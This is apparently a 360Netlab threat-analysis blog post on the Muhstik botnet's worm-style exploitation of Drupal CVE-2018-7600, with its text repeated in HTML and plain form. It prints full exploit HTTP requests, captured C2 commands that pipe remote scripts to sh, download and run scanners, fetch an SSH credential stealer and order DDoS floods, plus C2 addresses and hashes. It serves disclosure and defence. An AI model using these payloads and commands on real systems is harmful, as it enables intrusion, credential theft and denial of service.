Botnet Muhstik is Actively Exploiting Drupal CVE-2018-7600 in a Worm Style
<!--kg-card-begin: markdown--><p>On March 28, 2018, drupal released a patch for CVE-2018-7600. Drupal is an open-source content management system written in PHP, quite popular in many sites to provide web service. This vulnerability exists in multiple drupal versions, which may be exploited by an attacker to take full control of the target.</p>
<p>Starting from April 13, 2018, 360Netlab observed a large number of scans on the internet against this vulnerability. At the first analysis, we believe that at least 3 groups of malware campaigns are exploiting.</p>
<p>We noticed one of them has worm-propagation behavior. After investigation, we believe this botnet has been active for quit a time. We name it muhstik, for this key word keeps popup in its binary file name and the communication IRC channel.</p>
<p>Muhstik is worthy of community's attention for following characteristics:</p>
<ul>
<li>Worm Propagation</li>
<li>Long standing</li>
<li>Use 7 exploits</li>
<li>Use xmrig, cgminer and DDoS for profit</li>
</ul>
<h4 id="attackpayload">Attack Payload</h4>
<p>Muhstik uses the following two sets of attack payloads, which contributes around 80% of all the payloads we saw:</p>
<ul>
<li>
<h1 id="1activefrom20180414033306to20180417154058">1 : Active from 2018-04-14 03:33:06 to 2018-04-17 15:40:58</h1>
</li>
<li>
<h1 id="2activefrom20180416193839tillnow">2 : Active from 2018-04-16 19:38:39 till now</h1>
</li>
</ul>
<p>The source IP addresses delivering these payloads are very dispersed, with most of them hosting Drupal services. This is an indicator of worm, which arouses our vigilance.</p>
<p>Details of payload #1</p>
<pre><code>POST
/user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 2048
form_id=user_register_form&amp;_drupal_ajax=1&amp;mail[#post_render[]=exec&amp;mail[#type]=markup&amp;mail[#markup]=echo &quot;team6 representing 73de29021fd0d8d2cfd204d2d955a46d&quot;|tee t6nv
</code></pre>
<p>Details of payload #2</p>
<pre><code>POST
/user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 170
form_id=user_register_form&amp;_drupal_ajax=1&amp;mail%5B%23post_render%5D%5B%5D=exec&amp;mail%5B%23type%5D=markup&amp;mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php
</code></pre>
<h4 id="sampleaiox86deliversattackpayload2">Sample aiox86 Delivers Attack Payload #2</h4>
<p>Here is the key sample:</p>
<pre><code>da17dc1438bb039968a5737c6fbc88cd aiox86
</code></pre>
<p>We believe that the above two attack payloads are delivered by this sample and related ones:</p>
<ul>
<li>attack payload #2 is embedded in aiox86, shown in the following figure</li>
<li>attack payload #1 is similar to #2, thus should be launched by other related samples</li>
</ul>
<p>Below is part of the samples, same to payload #2.<br>
<img src="__GHOST_URL__/content/images/2018/04/drupal-payload-inside-aiox86.png" alt="" loading="lazy"></p>
<p>Apart from drupal exploit, the aiox86 scanning module is quite complicated:</p>
<ul>
<li><strong>Target IP</strong>: Acquired from remote server 191.238.234.227. The attacker can control the scanning targets flexibly in this way</li>
<li><strong>Exploit payloads</strong>: Contains 6 other exploit payloads apart from drupal</li>
<li><strong>Target Ports</strong>: Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.</li>
<li><strong>Scan report</strong>: Once successfully exploited, the payloads will report to 51.254.219.134. Different payloads will report to different URL, so the attacker can identify victims' vulnerabilities easily.</li>
</ul>
<p>Acquire scanning target IP:</p>
<pre><code>hxxp://191.238.234.227/amazon.php     #We try to get 50 network cidr from this URL, all of them belongs to Amazon
hxxp://191.238.234.227/dedi.php       #We try to get 50 network cidr from this URL, the owners company are dispersed
</code></pre>
<p>Delivered exploit payloads:</p>
<pre><code>ClipBucket：rss.php
DasanNetwork Solution：/cgi-bin/index.cgi
Drupal:CVE-2018-7600
WebDav
Weblogic:CVE-2017-10271
Webuzo:install.php
Wordpress:install.php
</code></pre>
<p>Mapping between target ports and exploit payloads:</p>
<pre><code>80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket
2004：Webuzo
7001：Weblogic
8080：Wordpress，WebDav，DasanNetwork Solution
</code></pre>
<p>Reporting URL:</p>
<pre><code>hxxp://51.254.219.134/clipbucket.php	#ClipBucket
hxxp://51.254.219.134/dasan.php	#DasanNetwork_Solution
hxxp://51.254.219.134/dav.php	#Webdav
hxxp://51.254.219.134/drupal.php	#Drupal
hxxp://51.254.219.134/oracleaudit.php?port=	#Weblogic
hxxp://51.254.219.134/tomato.php	#http401 for intermediate test
hxxp://51.254.219.134/webuzo.php	#Webuzo
hxxp://51.254.219.134/wp.php	#Wordpress
</code></pre>
<h4 id="sampleaiox86isdeliveredbymuhstikbotnet">Sample aiox86 is Delivered by Muhstik Botnet</h4>
<p>360Netlab has been monitoring many botnets and tracking their attack commands.<br>
We observe that Muhstik botnet C&amp;C server 139.99.101.96:9090 launched commands to deliver aiox86 around 2018-04-19 04:04.</p>
<p><img src="__GHOST_URL__/content/images/2018/04/aiox86-released-by-139.99.101.96-a-muhstik-c2.png" alt="" loading="lazy"></p>
<h4 id="muhstikbotnetfamily">Muhstik Botnet Family</h4>
<p>Muhstik is a variant of the Tsunami botnet. Its features include:</p>
<ul>
<li>Representative sample: c37016e34304ff4a2a0db1894cdcdb92</li>
<li>C2 server: 11 domains/IPs, all using port 9090. Maybe load balanced</li>
<li>Communication protocol: Based on the IRC protocol, sending different instructions via different channels</li>
<li>IRC Channels: We observed multiple IRC Channels, all starting with &quot;muhstik&quot;. At present, we can not confirm which specific channels are open on which C2 server. This is due to the characteristics of the IRC protocol itself. Only when we receive a communication instruction from the corresponding channel can we confirm its present.</li>
</ul>
<p>The structure of the Muhstik botnet is quite complicated. As mentioned earlier, 11 C2 domains/IPs are hard-coded in the sample. In addition, it has many ways to propagate and monetize.</p>
<p>Muhstik propagation modules:</p>
<ul>
<li>aioscan scanning module: As mentioned above, the scanning module contains 7 scanning payloads on 4 ports</li>
<li>SSH scanning module: weak password scanning</li>
</ul>
<p>Muhstik monetization methods:</p>
<ul>
<li>xmrig mining: Digging XMR cryptocurrency coins with a self-built mining pool 47.135.208.145:4871</li>
<li>cgminer minig: Digging BTC cryptocurrency coins, using multiple mining pools, all with username reb0rn.D3</li>
<li>DDoS attack: During 2018-04-19 07:20~07:40, we have intercepted multiple DDoS attack instructions targeting 46.243.189.102. (We did not see this attack on our DDoSMon.net, but we did see many earlier attacks against this IP)</li>
</ul>
<p>Muhstik cgminer wallet and mining pool address:</p>
<pre><code>  {
    &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;,
    &quot;user&quot;: &quot;reb0rn.D3&quot;,
    &quot;pass&quot;: &quot;x&quot;
  },
  {
    &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;,
    &quot;user&quot;: &quot;reb0rn.D3&quot;,
    &quot;pass&quot;: &quot;x&quot;
  },
  {
    &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;,
    &quot;user&quot;: &quot;reb0rn.D3&quot;,
    &quot;pass&quot;: &quot;x&quot;
  }
</code></pre>
<p>Muhstik C2 list, sample hard-code ordered</p>
<pre><code>139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#Not active now
66.70.190.236:9090	AS16276 OVH SAS	        #Not active now
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		                #Not active now
</code></pre>
<p>IRC Channel, alphabetical ordered</p>
<pre><code>#muhstik
#muhstik-i586
#muhstik-SSH
#muhstik-x86
</code></pre>
<p>A number of botnet instructions were captured when we monitoring these IRC Channels. We list part of them here, with details as follows:</p>
<pre><code>#muhstik-x86  # implant xmrig64 miner program
#muhstik-x86  # implant muhstik.aioscan scan module
#muhstik-x86  # check if bot has drupal presence
#muhstik      # implant muhstik.aioscan scan module
#muhstik      # DDoS attack command
#muhstik-SSH  # update cgminer miner configurations
#muhstik-SSH  # perform SSH scanning
#muhstik-SSH  # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
#muhstik-i586 # implant muhstik.aioscan scan module
#muhstik-i586 # implant xmrig32 miner program
</code></pre>
<p>#muhstik-x86 # implant xmrig64 miner program</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; 
</code></pre>
<p>#muhstik-x86 # implant muhstik.aioscan scan module</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) &gt; /dev/null 2&gt;&amp;1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-x86 # check if bot has drupal present</p>
<pre><code>:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1))
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot;
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1))
:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot;
</code></pre>
<p>#muhstik # implant muhstik.aioscan scan module</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik # DDoS attack command</p>
<pre><code>:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX
</code></pre>
<p>#muhstik-SSH # update cgminer miner configurations</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.x11.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart ) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart )&gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.sha256.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart) &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. Worm propagation</p>
<pre><code>:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-SSH #perform SSH scanning</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137
</code></pre>
<p>#muhstik-i586 # implant muhstik.aioscan scan module</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-i586 #implant xmrig32 miner program</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<h4 id="muhstikmayhasalonghistory">Muhstik May Has a Long History</h4>
<p>When tracing back, we found the following domain names are related to muhstik. These domain names has a longer history back to 2016.</p>
<pre><code>dasan.deutschland-zahlung.eu
134.ip-51-254-219.eu
uranus.kei.su
wireless.kei.su
www.kei.su
y.fd6fq54s6df541q23sdxfg.eu
</code></pre>
<p>We will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>.</p>
<h4 id="ioc">IoC</h4>
<p>Muhstik C2 List</p>
<pre><code>139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#Not active now
66.70.190.236:9090	AS16276 OVH SAS	        #Not active now
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		                #Not active now
</code></pre>
<p>Muhstik Malware URL</p>
<pre><code>hxxp://51.254.221.129/c/cron
hxxp://51.254.221.129/c/tfti
hxxp://51.254.221.129/c/pftp
hxxp://51.254.221.129/c/ntpd
hxxp://51.254.221.129/c/sshd
hxxp://51.254.221.129/c/bash
hxxp://51.254.221.129/c/pty
hxxp://51.254.221.129/c/shy
hxxp://51.254.221.129/c/nsshtfti
hxxp://51.254.221.129/c/nsshcron
hxxp://51.254.221.129/c/nsshpftp
hxxp://51.254.221.129/c/fbsd
hxxp://191.238.234.227/x/aiox86
</code></pre>
<p>Muhstik Self-built Mining Pool</p>
<pre><code>47.135.208.145:4871
</code></pre>
<p>Muhstik Malware MD5</p>
<pre><code>c37016e34304ff4a2a0db1894cdcdb92     #main sample
da17dc1438bb039968a5737c6fbc88cd     #scanning module
</code></pre>
<!--kg-card-end: markdown-->
On March 28, 2018, drupal released a patch for CVE-2018-7600. Drupal is an open-source content management system written in PHP, quite popular in many sites to provide web service. This vulnerability exists in multiple drupal versions, which may be exploited by an attacker to take full control of the target.


Starting from April 13, 2018, 360Netlab observed a large number of scans on the internet against this vulnerability. At the first analysis, we believe that at least 3 groups of malware campaigns are exploiting.


We noticed one of them has worm-propagation behavior. After investigation, we believe this botnet has been active for quit a time. We name it muhstik, for this key word keeps popup in its binary file name and the communication IRC channel.


Muhstik is worthy of community's attention for following characteristics:


 * Worm Propagation
 * Long standing
 * Use 7 exploits
 * Use xmrig, cgminer and DDoS for profit


Attack Payload


Muhstik uses the following two sets of attack payloads, which contributes around 80% of all the payloads we saw:


 * 
   
   
   
   1 : Active from 2018-04-14 03:33:06 to 2018-04-17 15:40:58
   

 * 
   
   
   
   2 : Active from 2018-04-16 19:38:39 till now
   


The source IP addresses delivering these payloads are very dispersed, with most of them hosting Drupal services. This is an indicator of worm, which arouses our vigilance.


Details of payload #1


POST
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 2048
form_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo "team6 representing 73de29021fd0d8d2cfd204d2d955a46d"|tee t6nv



Details of payload #2


POST
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 170
form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php



Sample aiox86 Delivers Attack Payload #2


Here is the key sample:


da17dc1438bb039968a5737c6fbc88cd aiox86



We believe that the above two attack payloads are delivered by this sample and related ones:


 * attack payload #2 is embedded in aiox86, shown in the following figure
 * attack payload #1 is similar to #2, thus should be launched by other related samples


Below is part of the samples, same to payload #2.




Apart from drupal exploit, the aiox86 scanning module is quite complicated:


 * Target IP: Acquired from remote server 191.238.234.227. The attacker can control the scanning targets flexibly in this way
 * Exploit payloads: Contains 6 other exploit payloads apart from drupal
 * Target Ports: Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.
 * Scan report: Once successfully exploited, the payloads will report to 51.254.219.134. Different payloads will report to different URL, so the attacker can identify victims' vulnerabilities easily.


Acquire scanning target IP:


hxxp://191.238.234.227/amazon.php     #We try to get 50 network cidr from this URL, all of them belongs to Amazon
hxxp://191.238.234.227/dedi.php       #We try to get 50 network cidr from this URL, the owners company are dispersed



Delivered exploit payloads:


ClipBucket：rss.php
DasanNetwork Solution：/cgi-bin/index.cgi
Drupal:CVE-2018-7600
WebDav
Weblogic:CVE-2017-10271
Webuzo:install.php
Wordpress:install.php



Mapping between target ports and exploit payloads:


80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket
2004：Webuzo
7001：Weblogic
8080：Wordpress，WebDav，DasanNetwork Solution



Reporting URL:


hxxp://51.254.219.134/clipbucket.php	#ClipBucket
hxxp://51.254.219.134/dasan.php	#DasanNetwork_Solution
hxxp://51.254.219.134/dav.php	#Webdav
hxxp://51.254.219.134/drupal.php	#Drupal
hxxp://51.254.219.134/oracleaudit.php?port=	#Weblogic
hxxp://51.254.219.134/tomato.php	#http401 for intermediate test
hxxp://51.254.219.134/webuzo.php	#Webuzo
hxxp://51.254.219.134/wp.php	#Wordpress



Sample aiox86 is Delivered by Muhstik Botnet


360Netlab has been monitoring many botnets and tracking their attack commands.

We observe that Muhstik botnet C&C server 139.99.101.96:9090 launched commands to deliver aiox86 around 2018-04-19 04:04.





Muhstik Botnet Family


Muhstik is a variant of the Tsunami botnet. Its features include:


 * Representative sample: c37016e34304ff4a2a0db1894cdcdb92
 * C2 server: 11 domains/IPs, all using port 9090. Maybe load balanced
 * Communication protocol: Based on the IRC protocol, sending different instructions via different channels
 * IRC Channels: We observed multiple IRC Channels, all starting with "muhstik". At present, we can not confirm which specific channels are open on which C2 server. This is due to the characteristics of the IRC protocol itself. Only when we receive a communication instruction from the corresponding channel can we confirm its present.


The structure of the Muhstik botnet is quite complicated. As mentioned earlier, 11 C2 domains/IPs are hard-coded in the sample. In addition, it has many ways to propagate and monetize.


Muhstik propagation modules:


 * aioscan scanning module: As mentioned above, the scanning module contains 7 scanning payloads on 4 ports
 * SSH scanning module: weak password scanning


Muhstik monetization methods:


 * xmrig mining: Digging XMR cryptocurrency coins with a self-built mining pool 47.135.208.145:4871
 * cgminer minig: Digging BTC cryptocurrency coins, using multiple mining pools, all with username reb0rn.D3
 * DDoS attack: During 2018-04-19 07:20~07:40, we have intercepted multiple DDoS attack instructions targeting 46.243.189.102. (We did not see this attack on our DDoSMon.net, but we did see many earlier attacks against this IP)


Muhstik cgminer wallet and mining pool address:


  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  }



Muhstik C2 list, sample hard-code ordered


139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#Not active now
66.70.190.236:9090	AS16276 OVH SAS	        #Not active now
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		                #Not active now



IRC Channel, alphabetical ordered


#muhstik
#muhstik-i586
#muhstik-SSH
#muhstik-x86



A number of botnet instructions were captured when we monitoring these IRC Channels. We list part of them here, with details as follows:


#muhstik-x86  # implant xmrig64 miner program
#muhstik-x86  # implant muhstik.aioscan scan module
#muhstik-x86  # check if bot has drupal presence
#muhstik      # implant muhstik.aioscan scan module
#muhstik      # DDoS attack command
#muhstik-SSH  # update cgminer miner configurations
#muhstik-SSH  # perform SSH scanning
#muhstik-SSH  # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
#muhstik-i586 # implant muhstik.aioscan scan module
#muhstik-i586 # implant xmrig32 miner program



#muhstik-x86 # implant xmrig64 miner program


:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & 



#muhstik-x86 # implant muhstik.aioscan scan module


:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &



#muhstik-x86 # check if bot has drupal present


:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1))
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d" " -f 1))
:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"



#muhstik # implant muhstik.aioscan scan module


:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &
